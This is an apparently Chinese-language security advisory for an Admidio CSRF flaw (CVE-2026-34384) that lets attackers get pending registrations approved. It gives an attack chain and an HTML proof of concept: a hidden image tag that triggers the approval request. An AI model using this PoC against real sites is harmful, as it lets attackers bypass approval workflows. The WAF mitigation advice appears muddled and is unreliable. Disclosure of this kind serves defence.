IPBUF安全漏洞报告
English
CVE-2026-34384 CVSS 4.5 中危

CVE-2026-34384 Admidio CSRF漏洞导致未授权用户注册

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34384
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
4.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Admidio

相关标签

CSRFAdmidio权限绕过用户管理

漏洞概述

Admidio是一个开源用户管理解决方案。在5.0.8版本之前,modules/registration.php中的create_user、assign_member和assign_user动作模式存在CSRF漏洞。这些动作通过GET请求批准待处理的用户注册,但未验证CSRF令牌。与同一文件中正确验证令牌的delete_user模式不同,这三个批准操作从$_GET读取参数并执行不可逆的状态更改。攻击者可以诱骗具有批准权限的用户访问恶意URL,从而绕过手动批准工作流自动批准注册。

技术细节

该漏洞源于Admidio在处理用户注册审批逻辑时缺乏有效的CSRF防护机制。具体而言,受影响的代码位于modules/registration.php文件中,涉及create_user、assign_member和assign_user三种操作模式。这些模式直接通过GET请求读取参数来执行状态变更操作(即批准用户注册),而没有进行CSRF令牌验证。相比之下,同文件中的delete_user模式正确实施了令牌验证。攻击者首先提交一个待处理的注册账户,系统会发送一封包含用户UUID的确认邮件。攻击者可以从URL中提取该UUID。随后,攻击者构造一个特制的恶意URL(包含该UUID及相应的操作参数),并诱导拥有rol_approve_users权限的管理员或审批人员点击。一旦目标用户访问该URL,由于浏览器会自动携带认证Cookie,服务器将误以为是合法操作,从而批准攻击者的注册请求。这完全绕过了原有的手动审批流程。

攻击链分析

STEP 1
步骤1:注册账户
攻击者在Admidio系统中注册一个新账户,此时账户状态为“待批准”。
STEP 2
步骤2:提取UUID
攻击者检查注册确认邮件或响应,提取分配给自己的用户UUID。
STEP 3
步骤3:构造恶意URL
攻击者利用获取的UUID构造一个指向modules/registration.php的URL,设置mode为create_user(或其他受影响模式),并包含该UUID参数。
STEP 4
步骤4:社会工程学攻击
攻击者将此恶意URL发送给拥有rol_approve_users权限的用户(如管理员),诱导其点击。
STEP 5
步骤5:执行未授权操作
当管理员在已登录状态下访问该链接时,浏览器自动发送包含会话Cookie的GET请求。服务器因缺乏CSRF验证而执行批准操作。
STEP 6
步骤6:漏洞利用成功
攻击者的注册账户被自动激活,绕过了人工审核流程。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34384 Admidio CSRF Description: This HTML snippet demonstrates how an attacker could craft a malicious link to approve a pending registration. Usage: Host this file and send the URL to an admin with 'rol_approve_users' permission. --> <html> <body> <!-- Replace ATTACKER_UUID with the UUID extracted from the registration email --> <!-- Replace TARGET_HOST with the actual Admidio domain --> <img src="http://TARGET_HOST/admidio/adm_program/modules/registration.php?mode=create_user&user_uuid=ATTACKER_UUID" width="0" height="0" border="0"> <script> // Alternative method using JavaScript fetch // const uuid = 'ATTACKER_UUID'; // fetch(`http://TARGET_HOST/admidio/adm_program/modules/registration.php?mode=create_user&user_uuid=${uuid}`, { method: 'GET', credentials: 'include' }); </script> </body> </html>

影响范围

Admidio < 5.0.8

防御指南

临时缓解措施
如果无法立即升级版本,建议在Web应用防火墙(WAF)中添加规则,拦截针对modules/registration.php的GET请求中包含mode参数且Referer头部不为空的请求,或者临时禁用自动批准功能,完全依赖人工后台审核。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表